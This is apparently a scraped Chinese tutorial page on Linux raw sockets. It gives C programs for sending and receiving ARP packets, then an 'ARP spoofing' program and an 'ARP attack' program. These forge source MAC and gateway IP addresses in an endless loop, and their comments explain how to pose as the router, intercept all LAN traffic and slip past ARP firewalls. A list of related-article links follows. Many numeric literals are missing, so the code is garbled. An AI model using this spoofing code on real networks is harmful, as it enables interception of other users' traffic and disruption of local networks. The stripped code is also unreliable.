arp请求示例

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <netpacket/packet.h> /* 以太网帧首部长度 */
#define ETHER_HEADER_LEN sizeof(struct ether_header)
/* 整个arp结构长度 */
#define ETHER_ARP_LEN sizeof(struct ether_arp)
/* 以太网 + 整个arp结构长度 */
#define ETHER_ARP_PACKET_LEN ETHER_HEADER_LEN + ETHER_ARP_LEN
/* IP地址长度 */
#define IP_ADDR_LEN 4
/* 广播地址 */
#define BROADCAST_ADDR {0xff, 0xff, 0xff, 0xff, 0xff, 0xff} void err_exit(const char *err_msg)
{
perror(err_msg);
exit();
} /* 填充arp包 */
struct ether_arp *fill_arp_packet(const unsigned char *src_mac_addr, const char *src_ip, const char *dst_ip)
{
struct ether_arp *arp_packet;
struct in_addr src_in_addr, dst_in_addr;
unsigned char dst_mac_addr[ETH_ALEN] = BROADCAST_ADDR; /* IP地址转换 */
inet_pton(AF_INET, src_ip, &src_in_addr);
inet_pton(AF_INET, dst_ip, &dst_in_addr); /* 整个arp包 */
arp_packet = (struct ether_arp *)malloc(ETHER_ARP_LEN);
arp_packet->arp_hrd = htons(ARPHRD_ETHER);
arp_packet->arp_pro = htons(ETHERTYPE_IP);
arp_packet->arp_hln = ETH_ALEN;
arp_packet->arp_pln = IP_ADDR_LEN;
arp_packet->arp_op = htons(ARPOP_REQUEST);
memcpy(arp_packet->arp_sha, src_mac_addr, ETH_ALEN);
memcpy(arp_packet->arp_tha, dst_mac_addr, ETH_ALEN);
memcpy(arp_packet->arp_spa, &src_in_addr, IP_ADDR_LEN);
memcpy(arp_packet->arp_tpa, &dst_in_addr, IP_ADDR_LEN); return arp_packet;
} /* arp请求 */
void arp_request(const char *if_name, const char *dst_ip)
{
struct sockaddr_ll saddr_ll;
struct ether_header *eth_header;
struct ether_arp *arp_packet;
struct ifreq ifr;
char buf[ETHER_ARP_PACKET_LEN];
unsigned char src_mac_addr[ETH_ALEN];
unsigned char dst_mac_addr[ETH_ALEN] = BROADCAST_ADDR;
char *src_ip;
int sock_raw_fd, ret_len, i; if ((sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) == -)
err_exit("socket()"); bzero(&saddr_ll, sizeof(struct sockaddr_ll));
bzero(&ifr, sizeof(struct ifreq));
/* 网卡接口名 */
memcpy(ifr.ifr_name, if_name, strlen(if_name)); /* 获取网卡接口索引 */
if (ioctl(sock_raw_fd, SIOCGIFINDEX, &ifr) == -)
err_exit("ioctl() get ifindex");
saddr_ll.sll_ifindex = ifr.ifr_ifindex;
saddr_ll.sll_family = PF_PACKET; /* 获取网卡接口IP */
if (ioctl(sock_raw_fd, SIOCGIFADDR, &ifr) == -)
err_exit("ioctl() get ip");
src_ip = inet_ntoa(((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr);
printf("local ip:%s\n", src_ip); /* 获取网卡接口MAC地址 */
if (ioctl(sock_raw_fd, SIOCGIFHWADDR, &ifr))
err_exit("ioctl() get mac");
memcpy(src_mac_addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
printf("local mac");
for (i = ; i < ETH_ALEN; i++)
printf(":%02x", src_mac_addr[i]);
printf("\n"); bzero(buf, ETHER_ARP_PACKET_LEN);
/* 填充以太首部 */
eth_header = (struct ether_header *)buf;
memcpy(eth_header->ether_shost, src_mac_addr, ETH_ALEN);
memcpy(eth_header->ether_dhost, dst_mac_addr, ETH_ALEN);
eth_header->ether_type = htons(ETHERTYPE_ARP);
/* arp包 */
arp_packet = fill_arp_packet(src_mac_addr, src_ip, dst_ip);
memcpy(buf + ETHER_HEADER_LEN, arp_packet, ETHER_ARP_LEN); /* 发送请求 */
ret_len = sendto(sock_raw_fd, buf, ETHER_ARP_PACKET_LEN, , (struct sockaddr *)&saddr_ll, sizeof(struct sockaddr_ll));
if ( ret_len > )
printf("sendto() ok!!!\n"); close(sock_raw_fd);
} int main(int argc, const char *argv[])
{
if (argc != )
{
printf("usage:%s device_name dst_ip\n", argv[]);
exit();
} arp_request(argv[], argv[]); return ;
}
流程:命令行接收网卡接口名和要请求的目标IP地址,传入arp_request()函数。用PF_PACKET选项创建ARP类型的原始套接字。用ioctl()函数通过网卡接口名来获取该接口对应的mac地址,ip地址,接口索引。接口索引填充到物理地址sockaddr_ll里面。然后填充以太首部,源地址对应刚刚的网卡接口mac地址,目标地址填广播地址(第28行定义的宏)。以太首部帧类型是ETHERTYPE_ARP,代表arp类型。接着填充arp数据包结构,同样要填充源/目标的ip地址和mac地址,arp包的操作选项填写ARPOP_REQUEST,代表请求操作。填充完成后发送到刚刚的物理地址sockaddr_ll。
 
arp 接收示例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <net/ethernet.h> /* 以太网帧首部长度 */
#define ETHER_HEADER_LEN sizeof(struct ether_header)
/* 整个arp结构长度 */
#define ETHER_ARP_LEN sizeof(struct ether_arp)
/* 以太网 + 整个arp结构长度 */
#define ETHER_ARP_PACKET_LEN ETHER_HEADER_LEN + ETHER_ARP_LEN
/* IP地址长度 */
#define IP_ADDR_LEN 4 void err_exit(const char *err_msg)
{
perror(err_msg);
exit();
} int main(void)
{
struct ether_arp *arp_packet;
char buf[ETHER_ARP_PACKET_LEN];
int sock_raw_fd, ret_len, i; if ((sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) == -)
err_exit("socket()"); while ()
{
bzero(buf, ETHER_ARP_PACKET_LEN);
ret_len = recv(sock_raw_fd, buf, ETHER_ARP_PACKET_LEN, );
if (ret_len > )
{
/* 剥去以太头部 */
arp_packet = (struct ether_arp *)(buf + ETHER_HEADER_LEN);
/* arp操作码为2代表arp应答 */
if (ntohs(arp_packet->arp_op) == )
{
printf("==========================arp replay======================\n");
printf("from ip:");
for (i = ; i < IP_ADDR_LEN; i++)
printf(".%u", arp_packet->arp_spa[i]);
printf("\nfrom mac");
for (i = ; i < ETH_ALEN; i++)
printf(":%02x", arp_packet->arp_sha[i]);
printf("\n");
}
}
} close(sock_raw_fd);
return ;
}
流程:创建ARP类型的原始套接字。直接调用接收函数,会收到网卡接收的arp数据包,判断收到的arp包操作是arp应答,操作码是2。然后剥去以太首部,取出源mac地址和ip地址!!!
 
 
arp欺骗
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h> #include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h> #define print_errno(fmt, ...) \
printf("[%d] errno=%d (%s) #" fmt, \
__LINE__, errno, strerror(errno), ####__VA_ARGS__) static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int s_ip_frame_size = ; int main(int argc,char** argv)
{
struct ether_header *eth = NULL;
struct ether_arp *arp = NULL;
struct ifreq ifr;
struct in_addr daddr;
struct in_addr saddr;
struct sockaddr_ll sll; int skfd;
int n = ; //unsigned char dmac[ETH_ALEN] = {0x40,0x8d,0x5c,0x79,0xa2,0xad};
//unsigned char dmac[ETH_ALEN] = {0xbc,0xee,0x7b,0x5d,0xa9,0x22};
unsigned char dmac[ETH_ALEN] = {0xff,0xff,0xff,0xff,0xff,0xff};
/*伪造 源MAC*/
unsigned char smac[ETH_ALEN] = {0x38,0x97,0xd6,0x51,0xa0,0x01}; daddr.s_addr = inet_addr("219.216.87.201");
/*伪造 源IP*/
saddr.s_addr = inet_addr("219.216.87.254"); memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN); /*创建原始套接字*/
skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (skfd < ) {
print_errno("socket() failed! \n");
return -;
} bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name, "eth0");
if (- == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
print_errno("ioctl() SIOCGIFINDEX failed!\n");
return -;
}
printf("ifr_ifindex = %d\n", ifr.ifr_ifindex); bzero(&sll, sizeof(sll));
sll.sll_ifindex = ifr.ifr_ifindex;
sll.sll_family = PF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL); #if 0
/*获取本机IP*/
if(- == ioctl(skfd, SIOCGIFADDR, &ifr)){
printf("ioctl() SIOCGIFADDR failed! \n");
return -;
}
printf("ifr_addr = %s\n", \
inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr)); /*获取本机MAC*/
if(- == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
printf("ioctl() SIOCGIFHWADDR failed! \n");
return -;
}
printf("ifr_hwaddr = %02x-%02x-%02x-%02x-%02x-%02x\n", \
(unsigned char)ifr.ifr_hwaddr.sa_data[], \
(unsigned char)ifr.ifr_hwaddr.sa_data[], \
(unsigned char)ifr.ifr_hwaddr.sa_data[], \
(unsigned char)ifr.ifr_hwaddr.sa_data[], \
(unsigned char)ifr.ifr_hwaddr.sa_data[], \
(unsigned char)ifr.ifr_hwaddr.sa_data[]); #endif /*构造以太报文*/
eth = (struct ether_header*)s_ip_frame_data;
eth->ether_type = htons(ETHERTYPE_ARP);
memcpy(eth->ether_dhost, dmac, ETH_ALEN);
memcpy(eth->ether_shost, smac, ETH_ALEN); /*构造ARP报文*/
arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
arp->arp_hrd = htons(ARPHRD_ETHER);
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_hln = ETH_ALEN;
arp->arp_pln = ;
arp->arp_op = htons(ARPOP_REQUEST); memcpy(arp->arp_sha, smac, ETH_ALEN);
memcpy(arp->arp_spa, &saddr.s_addr, );
/*
memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
memcpy(arp->arp_tpa, &daddr.s_addr, ); s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
while(){
n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, , \
(struct sockaddr*)&sll, sizeof(sll));
if (n < ) {
print_errno("sendto() failed!\n");
}
else {
printf("sendto() n = %d \n", n);
}
usleep();
} close(skfd);
return ;
}

arp攻击

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h> #include <asm/types.h> #include <math.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h> #include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h> #define PROTO_ARP 0x0806
#define ETH2_HEADER_LEN 14
#define HW_TYPE 1
#define PROTOCOL_TYPE 0x800
#define MAC_LENGTH 6
#define IPV4_LENGTH 4
#define ARP_REQUEST 0x01
#define ARP_REPLY 0x02
#define BUF_SIZE 60 struct arp_header {
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_len;
unsigned char protocol_len;
unsigned short opcode;
unsigned char sender_mac[MAC_LENGTH];
unsigned char sender_ip[IPV4_LENGTH];
unsigned char target_mac[MAC_LENGTH];
unsigned char target_ip[IPV4_LENGTH];
}; void main() {
int sd;
unsigned char buffer[BUF_SIZE]; /**
* 在伪装成路由器情况下,
* 1.自身需要实现路由器所有功能,将数据包转发给真正的路由器。否则目标会立即发现外网不可达;
* 2. 由于有合法路由器在线,当被攻击目标主动发起arp查询时,合法路由器的响应会更新目标arp表,所以必须不断发送伪装的arp数据包到攻击目标 1秒1次;
* 3. 合法路由器有mac地址表,应该不会主动询问某个地址,因此这种攻击方式很容易被arp防火墙识别(除非拦截攻击目标的arp查询,在合法路由器响应之前抢先一步将伪装的响应包发送给攻击目标.合法路由器的响应与伪装地址不一致,arp防火墙能够检测- -#)
*/
unsigned char source_ip[] = { , , , }; //可设置任意LAN ip,设置未网关并把mac配置为自己网卡mac则可以伪装成路由器,配合路由服务,拦截lan 所有数据包
unsigned char source_mac[] = { 0x1e, 0xed, 0x19, 0x27, 0x1a, 0xb3 }; //可任意设置,单纯为了破坏内网通讯情况下设置为任意值,如果是伪装成路由器则设置成自己的mac
unsigned char target_ip[] = { , , , }; //被攻击目标,循环发送给所有目标,并定时发送(压制); struct ethhdr *send_req = (struct ethhdr *) buffer;
struct ethhdr *rcv_resp = (struct ethhdr *) buffer;
struct arp_header *arp_req =
(struct arp_header *) (buffer + ETH2_HEADER_LEN);
struct arp_header *arp_resp = (struct arp_header *) (buffer
+ ETH2_HEADER_LEN);
struct sockaddr_ll socket_address;
int index, ret, length = ; memset(buffer, 0x00, ); for (index = ; index < ; index++) { send_req->h_dest[index] = (unsigned char) 0xff;
arp_req->target_mac[index] = (unsigned char) 0x00;
/* Filling the source mac address in the header*/
send_req->h_source[index] = (unsigned char) source_mac[index];
arp_req->sender_mac[index] = (unsigned char) source_mac[index];
socket_address.sll_addr[index] = (unsigned char) source_mac[index];
}
printf("Successfully got eth0 MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
send_req->h_source[], send_req->h_source[], send_req->h_source[],
send_req->h_source[], send_req->h_source[],
send_req->h_source[]);
printf(" arp_req MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
arp_req->sender_mac[], arp_req->sender_mac[],
arp_req->sender_mac[], arp_req->sender_mac[],
arp_req->sender_mac[], arp_req->sender_mac[]);
printf("socket_address MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
socket_address.sll_addr[], socket_address.sll_addr[],
socket_address.sll_addr[], socket_address.sll_addr[],
socket_address.sll_addr[], socket_address.sll_addr[]); /*prepare sockaddr_ll*/
socket_address.sll_family = AF_PACKET;
socket_address.sll_protocol = htons(ETH_P_ARP);
socket_address.sll_ifindex = ; //手动指定设备, ip a 指令查看网卡序号
socket_address.sll_hatype = htons(ARPHRD_ETHER);
socket_address.sll_pkttype = (PACKET_BROADCAST);
socket_address.sll_halen = MAC_LENGTH;
socket_address.sll_addr[] = 0x00;
socket_address.sll_addr[] = 0x00; /* Setting protocol of the packet */
send_req->h_proto = htons(ETH_P_ARP); /* Creating ARP request */
arp_req->hardware_type = htons(HW_TYPE);
arp_req->protocol_type = htons(ETH_P_IP);
arp_req->hardware_len = MAC_LENGTH;
arp_req->protocol_len = IPV4_LENGTH;
arp_req->opcode = htons(ARP_REQUEST);
for (index = ; index < ; index++) {
arp_req->sender_ip[index] = (unsigned char) source_ip[index];
arp_req->target_ip[index] = (unsigned char) target_ip[index];
}
// Submit request for a raw socket descriptor.
if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < ) {
perror("socket() failed ");
exit(EXIT_FAILURE);
} buffer[] = 0x00;
while(){
ret = sendto(sd, buffer, , , (struct sockaddr*) &socket_address,
sizeof(socket_address));
if (ret == -) {
perror("sendto():");
exit();
} else {
printf(" Sent the ARP REQ \n");
//for (index = 0; index < 42; index++) {
// printf("%02X ", buffer[index]);
// if (index % 16 == 0 && index != 0) {
// printf("\n\t");
// }
//}
}
usleep();
}
close(sd);
}

原始套接字--arp相关的更多相关文章

  1. 原始套接字--icmp相关

    icmp请求 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <uni ...

  2. linux原始套接字(1)-arp请求与接收

    一.概述                                                   以太网的arp数据包结构: arp结构op操作参数:1为请求,2为应答. 常用的数据结构如 ...

  3. UNIX网络编程——原始套接字的魔力【续】

    如何从链路层直接发送数据帧 上一篇里面提到的是从链路层"收发"数据,该篇是从链路层发送数据帧. 上一节我们主要研究了如何从链路层直接接收数据帧,可以通过bind函数来将原始套接字绑 ...

  4. UNIX网络编程——原始套接字的魔力【下】

    可以接收链路层MAC帧的原始套接字 前面我们介绍过了通过原始套接字socket(AF_INET, SOCK_RAW, protocol)我们可以直接实现自行构造整个IP报文,然后对其收发.提醒一点,在 ...

  5. Linux原始套接字实现分析---转

    http://blog.chinaunix.net/uid-27074062-id-3388166.html 本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核 ...

  6. 002.ICMP--拼接ICMP包,实现简单Ping程序(原始套接字)

    一.大致流程: 将ICMP头和时间数据设置好后,通过创建好的原始套接字socket发出去.目的主机计算效验和后会将数据原样返回,用当前时间和返回的数据结算时间差,计算出rtt. 二.数据结构: ICM ...

  7. linux原始套接字(2)-icmp请求与接收

    一.概述                                                    上一篇arp请求使用的是链路层的原始套接字.icmp封装在ip数据报里面,所以icmp请 ...

  8. Win2 Socket(套接字)相关 API

    Socket(套接字) 作者信息 肖进 单位:南京中萃食品有限公司 资讯部 邮箱:xiaoj@njb.swirebev.com 电话:025-58642091 与socket有关的一些函数介绍 1.读 ...

  9. 关于linux 原始套接字编程

    关于linux 网络编程最权威的书是<<unix网络编程>>,但是看这本书时有些内容你可能理解的不是很深刻,或者说只知其然而不知其所以然,那么如果你想搞懂的话那么我建议你可以看 ...

随机推荐

  1. 继续折腾LNK 2005错误

    这次是因为要把一个很久的老项目改成使用Unicode字符集,又一次遇到了LNK 2005错误 先说说怎么把老项目改成Unicode字符集吧,首先要有足够的信心能把项目改好,比如我这次改的项目,也不算很 ...

  2. Spring boot 实现高吞吐量异步处理(适用于高并发场景)

    技术要点 org.springframework.web.context.request.async.DeferredResult<T> 示例如下: 1.   新建Maven项目  asy ...

  3. AI-Info-Micron-Insight:V2X 自主性:帮助减少事故、排放和交通拥堵

    ylbtech-AI-Info-Micron-Insight:V2X 自主性:帮助减少事故.排放和交通拥堵 1.返回顶部 1. V2X 自主性:帮助减少事故.排放和交通拥堵 一辆汽车冲到你的车道上.晚 ...

  4. cudaMalloc和cudaMallocPitch

    原文链接 偶有兴趣测试了一下题目中提到的这两个函数,为了满足对齐访问数据,咱们平时可能会用到cudamallocPitch,以为它会带来更高的效率.呵呵,这里给出一段测试程序,大家可以在自己的机器上跑 ...

  5. Python的socket编程

    我们知道两个进程如果需要进行通讯最基本的一个前提能能够唯一的标示一个进程,在本地进程通讯中我们可以使用PID来唯一标示一个进程,但PID只在本地唯一,网络中的两个进程PID冲突几率很大,这时候我们需要 ...

  6. Python爬虫,看看我最近博客都写了啥,带你制作高逼格的数据聚合云图

    转载请标明出处: http://blog.csdn.net/forezp/article/details/70198541 本文出自方志朋的博客 今天一时兴起,想用python爬爬自己的博客,通过数据 ...

  7. 开发常用宏 - iOS

    以下是一些开发中会经常用到的宏,简单的进行了整理,为了今后可以更加方便的使用,从而提升开发的效率,不为此搭进去更多时间. 也希望有大家可以补充,从而使其更加强加! /** * 开发常用宏相关 */ # ...

  8. 利用bootstrap实现图片Carousel效果

    引入头文件: <link rel="stylesheet" href="bootstrap.min.css"> <link rel=" ...

  9. 【动态规划 floyd】SPOJ ACPC13

    为什么rzz会把这题放在NOI模拟赛的T2? 题目大意 有一张$n$个点$m$条边的有向图,每条边有权值$w_i$. 定义一个任务$(a_i,b_i,c_i)$是如下一条路径: 最多经过$c_i$条边 ...

  10. cncert阅读报告

    信息安全阅读报告 Problem 1: 国家计算机网络应急技术处理协调中心(简称“国家互联网应急中心”,英文缩写为“CNCERT”或“CNCERT/CC”)作为我国非政府层面网络安全应急体系核心技术协 ...